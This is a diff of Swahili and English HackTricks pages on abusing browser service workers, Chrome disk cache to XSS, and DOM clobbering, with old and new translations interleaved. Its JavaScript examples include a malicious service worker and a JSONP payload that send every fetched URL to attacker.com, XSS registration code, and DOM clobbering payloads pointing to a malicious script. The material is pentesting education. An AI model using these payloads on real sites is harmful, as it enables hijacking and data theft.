**Msaidizi wa huduma** ni script inayotumiwa na kivinjari chako kwa nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele ambavyo havihitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuboresha **uwezo wa usindikaji wa mbali na wa nyuma**. Taarifa za kina kuhusu wasaidizi wa huduma zinaweza kupatikana [hapa](https://developers.google.com/web/fundamentals/primers/service-workers). Kwa kutumia wasaidizi wa huduma ndani ya eneo la wavuti lenye udhaifu, washambuliaji wanaweza kupata udhibiti juu ya mwingiliano wa mwathirika na kurasa zote ndani ya eneo hilo.
|
||||
|
||||
### Kuangalia Wafanyakazi wa Huduma Zilizopo
|
||||
|
||||
Wafanyakazi wa huduma zilizopo wanaweza kuangaliwa katika sehemu ya **Wafanyakazi wa Huduma** ya kichupo cha **Maombi** katika **Zana za Mwandishi**. Njia nyingine ni kutembelea [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) kwa mtazamo wa kina zaidi.
|
||||
### Checking for Existing Service Workers
|
||||
|
||||
### Arifa za Kupiga
|
||||
Wasaidizi wa huduma waliopo wanaweza kuangaliwa katika sehemu ya **Wasaidizi wa Huduma** ya tab ya **Programu** katika **Zana za Wataalamu**. Njia nyingine ni kutembelea [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) kwa mtazamo wa kina zaidi.
|
||||
|
||||
**Ruhusa za arifa za kupiga** zinaathiri moja kwa moja uwezo wa **mfanyakazi wa huduma** kuwasiliana na seva bila mwingiliano moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa mfanyakazi wa huduma kuwa tishio endelevu. Kinyume chake, kutoa ruhusa kunazidisha hatari za usalama kwa kuruhusu kupokea na kutekeleza udanganyifu wa uwezekano.
|
||||
### Push Notifications
|
||||
|
||||
## Shambulio la Kuunda Mfanyakazi wa Huduma
|
||||
**Ruhusa za arifa za kusukuma** zinaathiri moja kwa moja uwezo wa **msaidizi wa huduma** kuwasiliana na seva bila mwingiliano wa moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa msaidizi wa huduma kuleta tishio endelevu. Kinyume chake, kutoa ruhusa huongeza hatari za usalama kwa kuruhusu kupokea na kutekeleza matumizi mabaya yanayoweza kutokea.
|
||||
|
||||
Ili kutumia udhaifu huu unahitaji kupata:
|
||||
## Attack Creating a Service Worker
|
||||
|
||||
* Njia ya **kupakia faili za JS za kupendelea** kwenye seva na **XSS ya kupakia mfanyakazi wa huduma** wa faili ya JS iliyopakiwa
|
||||
* **Ombi dhaifu la JSONP** ambapo unaweza **kudhibiti matokeo (na msimbo wa JS wa kupendelea)** na **XSS** ya **kupakia JSONP na mzigo** ambao uta **paki mfanyakazi wa huduma mbaya**.
|
||||
Ili kutumia udhaifu huu unahitaji kutafuta:
|
||||
|
||||
Katika mfano ufuatao nitawasilisha msimbo wa **kujiandikisha mfanyakazi wa huduma mpya** ambao utasikiliza tukio la `fetch` na **kutuma kwenye seva ya wadukuzi kila URL iliyopakiwa** (hii ni msimbo utakaohitaji **kupakia** kwenye **seva** au kupakia kupitia jibu la **JSONP dhaifu**):
|
||||
* Njia ya **kupakia faili za JS zisizo na mpangilio** kwenye seva na **XSS ili kupakia msaidizi wa huduma** wa faili ya JS iliyopakiwa
|
||||
* **Omba la JSONP lenye udhaifu** ambapo unaweza **kubadilisha matokeo (kwa msimbo wa JS usio na mpangilio)** na **XSS** ili **kupakia JSONP na mzigo** ambao uta **pata msaidizi wa huduma mbaya**.
|
||||
|
||||
Katika mfano ufuatao nitawasilisha msimbo wa **kujiandikisha msaidizi mpya wa huduma** ambao utasikiliza tukio la `fetch` na uta **tuma kwa seva ya washambuliaji kila URL iliyopatikana** (hii ni msimbo unahitaji **kupakia** kwenye **seva** au kupakia kupitia **jibu la JSONP lenye udhaifu**):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||
});
|
||||
```
|
||||
Na hii ndio nambari itakayosajili mfanyakazi (nambari unayopaswa kuweza kutekeleza kwa kutumia **XSS**). Katika kesi hii, ombi la **GET** litatumwa kwa **seva ya wachokozi** ikitoa taarifa ikiwa usajili wa mfanyakazi wa huduma ulifanikiwa au la:
|
||||
Na hii ndiyo code itakayoweza **kuandikisha mfanyakazi** (code ambayo unapaswa kuwa na uwezo wa kuitekeleza kwa kutumia **XSS**). Katika kesi hii, ombi la **GET** litatumwa kwa seva ya **washambuliaji** **kuarifu** ikiwa **kuandikishwa** kwa mfanyakazi wa huduma kulifanikiwa au la:
|
||||
```javascript
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
|
|
@ -64,21 +70,21 @@ xhttp2.send();
|
|||
});
|
||||
</script>
|
||||
```
|
||||
Katika kesi ya kutumia mwisho wa JSONP unaoweza kudhuriwa unapaswa kuweka thamani ndani ya `var sw`. Kwa mfano:
|
||||
Katika kesi ya kutumia mwisho wa JSONP ulio hatarini unapaswa kuweka thamani ndani ya `var sw`. Kwa mfano:
|
||||
```javascript
|
||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||
```
|
||||
Kuna **C2** iliyotengwa kwa **utumiaji wa Wafanyikazi wa Huduma** inaitwa [**Wafanyikazi wa Kivuli**](https://shadow-workers.github.io) ambayo itakuwa muhimu sana kwa kutumia udhaifu huu.
|
||||
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
|
||||
|
||||
**Mwongozo wa cache wa masaa 24** unapunguza maisha ya **wafanyikazi wa huduma (SW)** wenye nia mbaya au walioathiriwa hadi masaa 24 baada ya kurekebisha udhaifu wa XSS, ikizingatiwa hali ya mteja mtandaoni. Ili kupunguza udhaifu, waendeshaji wa tovuti wanaweza kupunguza Muda wa Kuishi wa Script ya SW (TTL). Waendelezaji pia wanashauriwa kuunda [**kitufe cha kuzima wafanyikazi wa huduma**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) kwa kuzima haraka.
|
||||
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
|
||||
|
||||
## Kutumia `importScripts` katika SW kupitia DOM Clobbering
|
||||
## Abusing `importScripts` in a SW via DOM Clobbering
|
||||
|
||||
Kazi ya **`importScripts`** iliyoitwa kutoka kwa Wafanyikazi wa Huduma inaweza **kuagiza script kutoka kwenye kikoa tofauti**. Ikiwa kazi hii inaitwa kutumia **parameter ambayo muhusika anaweza** kuhariri, angekuwa na uwezo wa **kuagiza script ya JS kutoka kwenye kikoa chake** na kupata XSS.
|
||||
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
|
||||
|
||||
**Hii hata inapita kinga za CSP.**
|
||||
**Hii hata inapita ulinzi wa CSP.**
|
||||
|
||||
**Mfano wa msimbo wenye udhaifu:**
|
||||
**Example vulnerable code:**
|
||||
|
||||
* **index.html**
|
||||
```html
|
||||
|
|
@ -94,36 +100,39 @@ let host = searchParams.get('host');
|
|||
self.importScripts(host + "/sw_extra.js");
|
||||
//host can be controllable by an attacker
|
||||
```
|
||||
### Kwa DOM Clobbering
|
||||
### Na DOM Clobbering
|
||||
|
||||
Kwa habari zaidi kuhusu ni nini DOM Clobbering angalia:
|
||||
Kwa maelezo zaidi kuhusu kile DOM Clobbering ni angalia:
|
||||
|
||||
{% content-ref url="dom-clobbering.md" %}
|
||||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ikiwa URL/domain ambapo SW inatumia kuita **`importScripts`** iko **ndani ya kipengele cha HTML**, ni **inawezekana kuibadilisha kupitia DOM Clobbering** ili kufanya SW **ipakie script kutoka kwenye kikoa chako mwenyewe**.
|
||||
Ikiwa URL/domain ambayo SW inatumia kuita **`importScripts`** iko **ndani ya kipengele cha HTML**, ni **uwezekano wa kuibadilisha kupitia DOM Clobbering** ili kufanya SW **ipakue script kutoka kwa domain yako mwenyewe**.
|
||||
|
||||
Kwa mfano wa hili angalia kiungo cha marejeo.
|
||||
Kwa mfano wa hili angalia kiungo cha rejea.
|
||||
|
||||
## Marejeo
|
||||
## Rejea
|
||||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
**Jaribu Kikundi cha Usalama wa Juu**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,37 +1,56 @@
|
|||
# Chrome Cache to XSS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Maelezo zaidi [**katika andishi hili**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||
Maelezo ya kina zaidi [**katika andiko hili**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||
|
||||
Teknolojia inayojadiliwa hapa inahusisha kuelewa tabia na mwingiliano wa aina mbili kuu za cache: **back/forward cache (bfcache)** na **disk cache**. Bfcache, ambayo inahifadhi nakala kamili ya ukurasa ikiwa ni pamoja na JavaScript heap, inapewa kipaumbele kuliko disk cache kwa urambazaji wa nyuma/mbele kutokana na uwezo wake wa kuhifadhi nakala kamili zaidi. Disk cache, kwa upande mwingine, inahifadhi rasilimali zilizopatikana kutoka wavuti bila kujumuisha JavaScript heap, na hutumiwa kwa urambazaji wa nyuma/mbele ili kupunguza gharama za mawasiliano. Jambo la kuvutia kuhusu disk cache ni pamoja na rasilimali zilizopatikana kwa kutumia `fetch`, maana rasilimali za URL zilizopatikana zitarejeshwa na kivinjari kutoka kwenye cache.
|
||||
Teknolojia inayozungumziwa hapa inahusisha kuelewa tabia na mwingiliano wa aina mbili kuu za cache: **back/forward cache (bfcache)** na **disk cache**. Bfcache, ambayo inahifadhi picha kamili ya ukurasa ikiwa ni pamoja na JavaScript heap, inapewa kipaumbele juu ya disk cache kwa ajili ya urambazaji wa nyuma/mbele kutokana na uwezo wake wa kuhifadhi picha kamili zaidi. Disk cache, kinyume chake, inahifadhi rasilimali zilizopatikana kutoka mtandao bila kujumuisha JavaScript heap, na inatumika kwa urambazaji wa nyuma/mbele ili kupunguza gharama za mawasiliano. Kipengele cha kuvutia cha disk cache ni kujumuisha rasilimali zilizopatikana kwa kutumia `fetch`, ikimaanisha rasilimali za URL zilizofikiwa zitaonyeshwa na kivinjari kutoka kwenye cache.
|
||||
|
||||
### Mambo muhimu:
|
||||
### Mambo Muhimu:
|
||||
|
||||
- Bfcache ina kipaumbele kuliko disk cache katika urambazaji wa nyuma/mbele.
|
||||
- Ili kutumia ukurasa uliohifadhiwa kwenye disk cache badala ya bfcache, bfcache inapaswa kuzimwa.
|
||||
- **bfcache** ina kipaumbele juu ya disk cache katika urambazaji wa nyuma/mbele.
|
||||
- Ili kutumia ukurasa uliohifadhiwa kwenye disk cache badala ya bfcache, bfcache inapaswa kuzuiliwa.
|
||||
|
||||
### Kuzima bfcache:
|
||||
### Kuzuilia bfcache:
|
||||
|
||||
Kwa chaguo-msingi, Puppeteer inazima bfcache, kulingana na hali zilizoorodheshwa katika nyaraka za Chromium. Njia moja yenye ufanisi ya kuzima bfcache ni kwa kutumia `RelatedActiveContentsExist`, ambayo inafikiwa kwa kufungua ukurasa na `window.open()` ambao unahifadhi kumbukumbu ya `window.opener`.
|
||||
Kwa kawaida, Puppeteer inazuilia bfcache, ikilingana na masharti yaliyoorodheshwa katika nyaraka za Chromium. Njia moja yenye ufanisi ya kuzuilia bfcache ni kupitia matumizi ya `RelatedActiveContentsExist`, ambayo inapatikana kwa kufungua ukurasa kwa kutumia `window.open()` ambayo inahifadhi rejeleo kwa `window.opener`.
|
||||
|
||||
### Kurejesha tabia:
|
||||
|
||||
1. Tembelea ukurasa wa wavuti, kwa mfano, `https://example.com`.
|
||||
2. Tekeleza `open("http://spanote.seccon.games:3000/api/token")`, ambayo inasababisha jibu la seva na msimbo wa hali 500.
|
||||
3. Katika kichupo kilichofunguliwa kipya, naviga hadi `http://spanote.seccon.games:3000/`. Hatua hii inahifadhi jibu la `http://spanote.seccon.games:3000/api/token` kama disk cache.
|
||||
4. Tumia `history.back()` kurudi nyuma. Hatua hiyo inasababisha uonyeshaji wa jibu la JSON lililohifadhiwa kwenye ukurasa.
|
||||
1. Tembelea ukurasa wa wavuti, mfano, `https://example.com`.
|
||||
2. Teua `open("http://spanote.seccon.games:3000/api/token")`, ambayo inasababisha jibu la seva lenye msimbo wa hali 500.
|
||||
3. Katika tab mpya iliyofunguliwa, tembelea `http://spanote.seccon.games:3000/`. Kitendo hiki kinahifadhi jibu la `http://spanote.seccon.games:3000/api/token` kama disk cache.
|
||||
4. Tumia `history.back()` kurudi nyuma. Kitendo hiki kinapelekea kuonyeshwa kwa jibu la JSON lililohifadhiwa kwenye ukurasa.
|
||||
|
||||
Uhakiki kwamba disk cache ilikuwa imetumika inaweza kuthibitishwa kwa kutumia DevTools kwenye Google Chrome.
|
||||
Uthibitisho kwamba disk cache ilitumika unaweza kuthibitishwa kupitia matumizi ya DevTools katika Google Chrome.
|
||||
|
||||
Kwa maelezo zaidi kuhusu bfcache na disk cache, marejeleo yanaweza kupatikana kwenye [web.dev kuhusu bfcache](https://web.dev/i18n/en/bfcache/) na [nyaraka za kubuni za Chromium kuhusu disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), mtawaliwa.
|
||||
Kwa maelezo zaidi kuhusu bfcache na disk cache, viungo vinaweza kupatikana katika [web.dev kuhusu bfcache](https://web.dev/i18n/en/bfcache/) na [nyaraka za muundo za Chromium kuhusu disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), mtawalia.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,36 +1,39 @@
|
|||
# Dom Clobbering
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Misingi**
|
||||
|
||||
Inawezekana kuzalisha **variables za kikoa za kawaida ndani ya muktadha wa JS** kwa kutumia sifa **`id`** na **`name`** kwenye vitambulisho vya HTML.
|
||||
Inawezekana kuunda **vigezo vya kimataifa ndani ya muktadha wa JS** kwa kutumia sifa **`id`** na **`name`** katika vitambulisho vya HTML.
|
||||
```html
|
||||
<form id=x></form>
|
||||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||||
```
|
||||
**Ni** vipengele **fulani tu** vinavyoweza kutumia **sifa ya jina** kuathiri globals, ni: `embed`, `form`, `iframe`, `image`, `img` na `object`.
|
||||
**Tu** vipengele fulani vinaweza kutumia **sifa ya jina** kuclobber globals, ni: `embed`, `form`, `iframe`, `image`, `img` na `object`.
|
||||
|
||||
Kwa kushangaza, unapotumia kipengele cha **fomu** kuathiri kipengele, utapata thamani ya **`toString`** ya kipengele lenyewe: `[object HTMLFormElement]` lakini na **kiungo** cha **`toString`** itakuwa **`href`** ya kiungo. Kwa hiyo, ikiwa unatumia **tag ya `a`**, unaweza **kudhibiti** **thamani** wakati inachukuliwa kama **herufi**:
|
||||
Kwa kushangaza, unapokuwa unatumia **kipengele cha fomu** ku **clobber** kiambato, utapata **`toString`** thamani ya kipengele chenyewe: `[object HTMLFormElement]` lakini kwa **kiungo** **`toString`** itakuwa **`href`** ya kiungo. Hivyo, ikiwa unaclobber kwa kutumia **`a`** tag, unaweza **kontrol** **thamani** wakati inachukuliwa kama **string**:
|
||||
```html
|
||||
<a href="controlled string" id=x></a>
|
||||
<script>
|
||||
console.log(x);//controlled string
|
||||
</script>
|
||||
```
|
||||
### Mafurushi na Vipengele
|
||||
### Arrays & Attributes
|
||||
|
||||
Pia ni **inawezekana kuchafua mafurushi** na **vipengele vya vitu**:
|
||||
Ni pia inawezekana **kuharibu array** na **sifa za kitu**:
|
||||
```html
|
||||
<a id=x>
|
||||
<a id=x name=y href=controlled>
|
||||
|
|
@ -39,7 +42,7 @@ console.log(x[1])//controlled
|
|||
console.log(x.y)//controlled
|
||||
</script>
|
||||
```
|
||||
Kwa kufuta **sifa ya 3** (kwa mfano x.y.z), unahitaji kutumia **`form`**:
|
||||
Ili kuharibu **sifa ya 3rd** (mfano x.y.z), unahitaji kutumia **`form`**:
|
||||
```html
|
||||
<form id=x name=y><input id=z value=controlled></form>
|
||||
<form id=x></form>
|
||||
|
|
@ -47,17 +50,17 @@ Kwa kufuta **sifa ya 3** (kwa mfano x.y.z), unahitaji kutumia **`form`**:
|
|||
alert(x.y.z.value)//controlled
|
||||
</script>
|
||||
```
|
||||
Kuweka alama zaidi ni **ngumu zaidi lakini bado inawezekana**, kwa kutumia iframes:
|
||||
Clobbering zaidi ya sifa ni **ngumu zaidi lakini bado inawezekana**, kutumia iframes:
|
||||
```html
|
||||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
<script>alert(x.y)//controlled</script>
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Tagi ya mtindo hutumiwa kutoa muda wa kutosha kwa kiolesura cha iframe kuonyesha. Bila hiyo, utapata onyo la "isiyofafanuliwa".
|
||||
Tag ya style inatumika **kutoa muda wa kutosha kwa iframe kuonyesha**. Bila yake utaona arifa ya **undefined**.
|
||||
{% endhint %}
|
||||
|
||||
Ili kufunika sifa za kina zaidi, unaweza kutumia **iframes na uandishi wa HTML** kwa njia hii:
|
||||
Ili kuharibu sifa za ndani zaidi, unaweza kutumia **iframes zenye uandishi wa html** hivi:
|
||||
```html
|
||||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
|
|
@ -65,9 +68,9 @@ Ili kufunika sifa za kina zaidi, unaweza kutumia **iframes na uandishi wa HTML**
|
|||
alert(a.b.c.d.e)//controlled
|
||||
</script>
|
||||
```
|
||||
### **Kuvuka Kichujio**
|
||||
### **Kupita Kichujio**
|
||||
|
||||
Ikiwa kichujio kinapitia mali za kipengee kwa kutumia kitu kama `document.getElementByID('x').attributes`, unaweza **kuvuka** mali ya **`.attributes`** na **kuvunja kichujio**. Mali nyingine za DOM kama **`tagName`**, **`nodeName`** au **`parentNode`** na zingine zinaweza pia **kuvukwa**.
|
||||
Ikiwa kichujio kina **zunguka** kupitia **mali** za nodi kwa kutumia kitu kama `document.getElementByID('x').attributes` unaweza **kuharibu** mali **`.attributes`** na **kuvunja kichujio**. Mali nyingine za DOM kama **`tagName`**, **`nodeName`** au **`parentNode`** na zaidi pia zinaweza **kuharibiwa**.
|
||||
```html
|
||||
<form id=x></form>
|
||||
<form id=y>
|
||||
|
|
@ -78,17 +81,17 @@ console.log(document.getElementById('x').nodeName)//FORM
|
|||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||||
</script>
|
||||
```
|
||||
## **Kuweka `window.someObject`**
|
||||
## **Clobbering `window.someObject`**
|
||||
|
||||
Katika JavaScript ni kawaida kupata:
|
||||
Katika JavaScript ni kawaida kukutana na:
|
||||
```javascript
|
||||
var someObject = window.someObject || {};
|
||||
```
|
||||
Kuathiri HTML kwenye ukurasa kunaruhusu kubadilisha `someObject` na kipengele cha DOM, kinachoweza kuleta udhaifu wa usalama. Kwa mfano, unaweza kubadilisha `someObject` na kipengele cha kiungo kinachoelekeza kwenye hati ya kudhuru:
|
||||
Kuhariri HTML kwenye ukurasa kunaruhusu kubadilisha `someObject` na nodi ya DOM, ambayo inaweza kuleta udhaifu wa usalama. Kwa mfano, unaweza kubadilisha `someObject` na kipengele cha kiungo kinachorejelea skripti mbaya:
|
||||
```html
|
||||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||||
```
|
||||
Katika kificho kinachoweza kudhurika kama:
|
||||
Katika msimbo unaoweza kuathiriwa kama:
|
||||
```html
|
||||
<script>
|
||||
window.onload = function(){
|
||||
|
|
@ -99,27 +102,27 @@ document.body.appendChild(script);
|
|||
};
|
||||
</script>
|
||||
```
|
||||
Mbinu hii inatumia chanzo cha skripti kuendesha nambari isiyo hitajika.
|
||||
